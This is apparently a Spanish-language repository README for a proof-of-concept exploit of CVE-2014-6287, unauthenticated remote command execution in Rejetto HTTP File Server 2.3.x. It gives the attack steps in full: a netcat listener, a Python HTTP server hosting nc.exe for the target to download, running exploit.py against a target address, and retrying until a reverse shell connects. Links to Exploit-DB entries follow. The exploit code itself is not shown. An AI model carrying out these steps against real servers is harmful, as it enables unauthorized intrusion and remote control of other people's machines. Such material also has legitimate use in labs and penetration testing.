rahisec/rejetto-http-file-server-2.3.x-rce-exploit-cve-2014-6287Este repositorio contiene una explicación detallada y un poc funcional para Rejetto HTTP File Server (HFS) 2.3.x - Ejecución Remota de Comandos.
Este repositorio contiene una explicación detallada y un PoC funcional para la ejecución remota de comandos en Rejetto HTTP File Server (HFS) 2.3.x.
Crea un listener con netcat.
nc -lnvp 1234
Cambia la IP del atacante por tu IP y puerto.
También crea un servidor HTTP en el mismo directorio donde se encuentra nc.exe.
python -m http.server 80
python exploit.py <ip-objetivo> <puerto-objetivo>
Nota: Es posible que necesites ejecutar el payload varias veces para obtener una reverse shell.
https://www.exploit-db.com/exploits/39161
https://www.exploit-db.com/exploits/34668
https://mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/